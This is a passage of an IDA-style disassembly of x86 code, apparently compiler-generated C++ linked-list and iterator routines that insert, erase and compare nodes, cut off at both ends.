push 0 push 0 mov al, [edi] mov [esi], al call sub_401EBA sub_415070 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016CC mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_40172B mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4150F0 proc near ; CODE XREF: sub_401578j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D89 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401465 mov edx, [esi+4] mov ecx, esi push edx call sub_401CD5 sub_4150F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415160 proc near ; CODE XREF: sub_4012E9j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_415160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151A0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_4151A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151D0 proc near ; CODE XREF: sub_40147Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D89 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40215D sub_4151D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415210 proc near ; CODE XREF: sub_401258j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_401D89 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4012E9 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401D5C test al, al jz short loc_415291 push edi mov edi, [esp+14h+arg_0] loc_415243: ; CODE XREF: sub_415210+7Ej lea ecx, [esp+14h+var_C] call sub_401FA5 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415275 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_40156E mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- jmp short loc_41527E ; --------------------------------------------------------------------------- loc_415275: ; CODE XREF: sub_415210+42j lea ecx, [esp+14h+var_C] call sub_4020A4 loc_41527E: ; CODE XREF: sub_415210+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401D5C test al, al jnz short loc_415243 pop edi loc_415291: ; CODE XREF: sub_415210+2Cj pop esi add esp, 0Ch retn 4 sub_415210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152D0 proc near ; CODE XREF: sub_401E1Fj push esi mov esi, ecx call sub_401EB5 mov eax, esi pop esi retn sub_4152D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152F0 proc near ; CODE XREF: sub_401FA5j mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_4152F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415310 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415340 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015CD neg al sbb eax, eax inc eax retn 4 sub_415340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415370 proc near ; CODE XREF: sub_401F05j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C7B sub_415370 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4153B0 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E1A sub_4153B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401983j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401249 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415460 proc near ; CODE XREF: sub_402234j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_401EF1j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402234 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A96 sub_415490 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154D0 proc near ; CODE XREF: sub_401924j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4154D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415520 proc near ; CODE XREF: sub_401154j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_402234 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_401983 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401AD7 test al, al jz short loc_4155A1 push edi mov edi, [esp+14h+arg_0] loc_415553: ; CODE XREF: sub_415520+7Ej lea ecx, [esp+14h+var_C] call sub_4011D1 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415585 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_4010DC mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- jmp short loc_41558E ; --------------------------------------------------------------------------- loc_415585: ; CODE XREF: sub_415520+42j lea ecx, [esp+14h+var_C] call sub_4018B6 loc_41558E: ; CODE XREF: sub_415520+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401AD7 test al, al jnz short loc_415553 pop edi loc_4155A1: ; CODE XREF: sub_415520+2Cj pop esi add esp, 0Ch retn 4 sub_415520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155E0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E79 mov eax, esi pop esi retn sub_4155E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402126 add esp, 4 retn sub_415600 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415620 proc near ; CODE XREF: sub_4018B6j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415620 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415650 proc near ; CODE XREF: sub_401AD7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EA6 neg al sbb eax, eax inc eax retn 4 sub_415650 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415680 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DA2 sub_415680 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4156C0 proc near ; CODE XREF: sub_4014B5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 mov edx, [esi+4] mov ecx, esi push edx call sub_401EF6 sub_4156C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401BB8 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415770 proc near ; CODE XREF: sub_40114Aj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415770 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157A0 proc near ; CODE XREF: sub_401406j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401CFD sub_4157A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4157E0 proc near ; CODE XREF: sub_401C62j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 pop esi add esp, 0Ch retn sub_4157E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415830 proc near ; CODE XREF: sub_402130j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_40114A lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4018F2 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401339 test al, al jz short loc_4158B1 push edi mov edi, [esp+14h+arg_0] loc_415863: ; CODE XREF: sub_415830+7Ej lea ecx, [esp+14h+var_C] call sub_40135C mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415895 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401EA1 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41589E ; --------------------------------------------------------------------------- loc_415895: ; CODE XREF: sub_415830+42j lea ecx, [esp+14h+var_C] call sub_40118B loc_41589E: ; CODE XREF: sub_415830+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401339 test al, al jnz short loc_415863 pop edi loc_4158B1: ; CODE XREF: sub_415830+2Cj pop esi add esp, 0Ch retn 4 sub_415830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158F0 proc near ; CODE XREF: sub_402252j push esi mov esi, ecx call sub_401E29 mov eax, esi pop esi retn sub_4158F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017DA add esp, 4 retn sub_415910 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415930 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BB8 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415930 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415960 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40144C neg al sbb eax, eax inc eax retn 4 sub_415960 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415990 proc near ; CODE XREF: sub_40113Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_415990 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159D0 proc near ; CODE XREF: sub_4016CCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_4159D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415A00 proc near ; CODE XREF: sub_40215Dj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C4E mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401EBA sub_415A00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401EFB add esp, 4 mov ecx, esi push eax call sub_402194 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401DA7 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AA0 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CA8 test al, al jz short loc_415AED push edi mov edi, [esp+8+arg_0] loc_415ABA: ; CODE XREF: sub_415AA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A4B push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40215D ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_4020EF lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CA8 test al, al jnz short loc_415ABA pop edi loc_415AED: ; CODE XREF: sub_415AA0+13j pop esi retn 0Ch sub_415AA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B20 proc near ; CODE XREF: sub_401FAFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40156E mov ecx, eax call sub_401C4E mov esi, eax push esi call sub_40208B push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_40208B mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401EFB add esp, 1Ch mov ecx, edi push eax call sub_4014F6 push esi mov ecx, edi call sub_401CD5 sub_415B20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_401465j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jz short loc_415C3A loc_415BF8: ; CODE XREF: sub_415BE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40156E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jnz short loc_415BF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415C3A: ; CODE XREF: sub_415BE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415BE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C70 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020D6 sub_415C70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415C85 mov edi, esi loc_415C85: ; CODE XREF: ___:00415C81j push esi call sub_40208B mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415C9A mov edi, esi loc_415C9A: ; CODE XREF: ___:00415C96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415CC0 proc near ; CODE XREF: sub_401CD5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E01 sub_415CC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40208Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415CE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; CODE XREF: sub_401EFBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415D00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D20 proc near ; CODE XREF: sub_401EB5j mov eax, ecx retn sub_415D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D40 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401753 mov eax, esi pop esi retn 4 sub_415D40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020A4 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415D70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DA0 proc near ; CODE XREF: sub_4015CDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415DA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DD0 proc near ; CODE XREF: sub_401A96j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F6E mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C7B sub_415DD0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402126 add esp, 4 mov ecx, esi push eax call sub_4015E6 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401CC6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415E70 proc near ; CODE XREF: sub_4017DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F6E mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402126 add esp, 1Ch mov ecx, edi push eax call sub_401D4D push esi mov ecx, edi call sub_401E1A sub_415E70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415F30 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jz short loc_415F8A loc_415F48: ; CODE XREF: sub_415F30+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jnz short loc_415F48 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415F8A: ; CODE XREF: sub_415F30+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415F30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415FC0 proc near ; CODE XREF: sub_401C7Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015A5 sub_415FC0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415FD5 mov edi, esi loc_415FD5: ; CODE XREF: ___:00415FD1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415FEA mov edi, esi loc_415FEA: ; CODE XREF: ___:00415FE6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416010 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416010 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416030 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416050 proc near ; CODE XREF: sub_402126j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416070 proc near ; CODE XREF: sub_401E79j mov eax, ecx retn sub_416070 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416090 proc near ; CODE XREF: sub_401CC6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416090 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018B6 mov eax, 